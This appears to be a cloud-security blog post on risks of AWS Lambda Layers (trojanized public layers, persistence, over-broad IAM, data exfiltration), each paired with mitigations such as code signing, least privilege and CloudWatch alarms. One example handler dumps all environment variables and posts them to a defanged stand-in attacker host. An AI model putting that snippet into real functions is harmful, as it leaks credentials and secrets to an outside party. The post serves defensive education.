AWS Lambda Layers are a powerful feature that enables developers to share code and dependencies across multiple Lambda functions. While they help reduce package sizes and improve maintainability, they also introduce significant security risks. Malicious actors can exploit Lambda Layers to inject harmful code, persist within cloud environments, or exfiltrate sensitive data.
This blog explores the security risks associated with AWS Lambda Layers, provides technical examples of potential attacks, and suggests best practices to mitigate these risks.
Understanding AWS Lambda Layers
Lambda Layers allow you to package libraries, runtime dependencies, or custom functions separately from the main Lambda deployment package. A single Lambda function can include up to five layers, which are stacked in a predefined order and merged into the /opt directory at Serverless functions, that can execute code.
When a Lambda function executes, it can access these layers as if they were part of the function’s deployment package. This makes it easier to share dependencies across multiple functions, but also creates a risk if the layer is compromised.

Security Risks of AWS Lambda Layers
1. Supply Chain Attacks Through Malicious Layers
Attackers can inject malicious code into layers that are shared across multiple Lambda functions. If a compromised layer is used by multiple applications, the impact can be widespread.
Example: An attacker uploads a public Lambda Layer containing a popular but trojanized package. A developer unknowingly includes this layer in their function, introducing a backdoor that allows remote access to execution environments.
# Example of a malicious dependency inside a Lambda Layer
import requests
def lambda_handler(event, context):
# Exfiltrate environment variables
env_vars = dict(os.environ)
requests.post("https[:]//malicious-server[.]com/exfiltrate", json=env_vars)
return "Executed"
Mitigation:
- Avoid using publicly shared Lambda Layers unless they are from a trusted and verified source.
- Implement an internal approval process for third-party layers and dependencies.
- Use AWS CodeSigning for Lambda to ensure only approved code packages and layers are deployed.
- Regularly scan Lambda Layers for known vulnerabilities using tools like Amazon Inspector or integrate with third-party vulnerability scanners.
2. Persistence and Lateral Movement
If an attacker gains access to your AWS account whether through leaked creds, infostealers, or phishing, they can create a malicious Lambda Layer that persists even after individual functions are deleted. Additionally, if multiple functions use the same layer, the attacker has a foothold across various execution contexts.
Example:
An attacker injects a keylogger into a commonly used Lambda Layer. The layer logs and exfiltrates API keys used within different functions. The attacker leverages these credentials to move laterally in the AWS environment.
Mitigation:
- Enforce strict IAM policies and MFA for all users to reduce the risk of credential compromise.
- Use resource-level permissions to restrict who can create and attach Lambda Layers.
- Continuously monitor for unexpected or unauthorized layer usage using AWS CloudTrail and AWS Config rules.
- Periodically audit and remove unused or unverified Lambda Layers from the environment.
- Integrate security tooling that detects secret exposure or anomalous behavior in Lambda execution (e.g., GuardDuty, AWS Lambda PowerTools with logging and tracing).
3. Privilege Escalation and Code Injection
AWS Lambda Layers are often granted execution permissions that might be broader than needed. If a function uses a layer with excessive permissions, attackers can exploit it to execute arbitrary code.
Example: A layer with unnecessary AWSLambdaBasicExecutionRole privileges could allow an attacker to modify function configurations or invoke functions they shouldn’t have access to.
{
"Effect": "Allow",
"Action": "lambda:UpdateFunctionConfiguration",
"Resource": "*"
}
- Follow the principle of least privilege when assigning permissions to Lambda functions and layers.
- Review and restrict IAM policies attached to Lambda roles and avoid using wildcards (*) in Resource fields unless absolutely necessary.
- Use service control policies (SCPs) in AWS Organizations to prevent overly permissive actions across accounts.
- Continuously audit IAM permissions using tools like IAM Access Analyzer and AWS Config to detect and remediate excessive privileges.
4. Data Exfiltration via Compromised Layers
A compromised layer could contain hidden code that intercepts API responses, exfiltrates database credentials, or modifies data returned by the function.
Example: An attacker injects a modified database driver inside a Lambda Layer. Whenever a Lambda function interacts with a database, the driver silently copies query results to an external server.
Mitigation:
- Use code reviews and static analysis tools to inspect custom layers before deployment.
- Isolate sensitive logic from third-party or shared layers to minimize exposure.
- Enable VPC integration with Lambda and restrict outbound internet access to prevent exfiltration.
- Use runtime monitoring tools (e.g., AWS CloudWatch Logs, Lambda extensions, or EDR agents) to detect unexpected network activity or data manipulation during function execution.
How to Secure AWS Lambda Layers
1. Use Private and Vetted Layers
Avoid using public Lambda Layers unless they are from verified and reputable sources, such as official AWS SDKs, AWS Labs, or well-known vendors (e.g., Datadog, Sentry, or HashiCorp). Even then, inspect the contents and understand what the layer does before including it in your functions.
Best Practice:
Create and manage private layers within your AWS environment. Use CI/CD pipelines to build layers from source, scan them for vulnerabilities (e.g., using Amazon Inspector, Grype, or Snyk), and publish them internally.
How to do it in a single step:
Use AWS SAM or the AWS CLI to automate layer creation and publishing in a controlled pipeline. For example:
zip layer.zip python/ # Package your dependencies in a 'python/' directory
aws lambda publish-layer-version \
--layer-name my-secure-layer \
--zip-file file://layer.zip \
--compatible-runtimes python3.9 \
--description "Internally vetted DB layer"
2. Scan and Audit Layers Regularly
Use AWS security tools like Amazon Inspector to scan Lambda Layers for vulnerabilities or unauthorized changes.

3. Restrict Permissions for Layers
Ensure that only necessary functions can access specific layers by applying strict IAM policies.
{
"Effect": "Deny",
"Action": "lambda:GetLayerVersion",
"Resource": "*",
"Condition": {
"StringNotEqualsIfExists": {
"aws:SourceAccount": "123456789012"
}
}
}
4. Monitor Lambda Execution Logs
Enable AWS CloudTrail and Amazon CloudWatch Logs to detect unusual behavior associated with Lambda executions and layers.
Use CloudWatch Alarms to trigger notifications when the metric exceeds a threshold (e.g., if suspicious Lambda activity or high error rates occur). The alarm can trigger an SNS topic or an AWS Lambda function for automated remediation.
aws cloudwatch put-metric-alarm \
--alarm-name "SuspiciousLambdaActivity" \
--metric-name "UnauthorizedAccess" \
--namespace "LambdaSecurity" \
--statistic "Sum" \
--period 300 \
--threshold 1 \
--comparison-operator "GreaterThanOrEqualToThreshold" \
--evaluation-periods 1 \
--alarm-actions "arn:aws:sns:region:account-id:my-alert-topic"
5. Limit Layer Dependencies
Only include the necessary dependencies in your layers to reduce the attack surface. Use dependency scanning tools like AWS CodeArtifact or other tools to identify vulnerabilities.
Conclusion
AWS Lambda Layers offer powerful benefits for modularizing and sharing code, but they also introduce potential security risks. Attackers can leverage layers to persist within cloud environments, exfiltrate data, or escalate privileges. Organizations must adopt a proactive security strategy by vetting layers, enforcing strict IAM policies, and continuously monitoring execution environments.
By implementing these best practices, you can reduce the risk of malicious Lambda Layers and maintain a secure serverless infrastructure in AWS.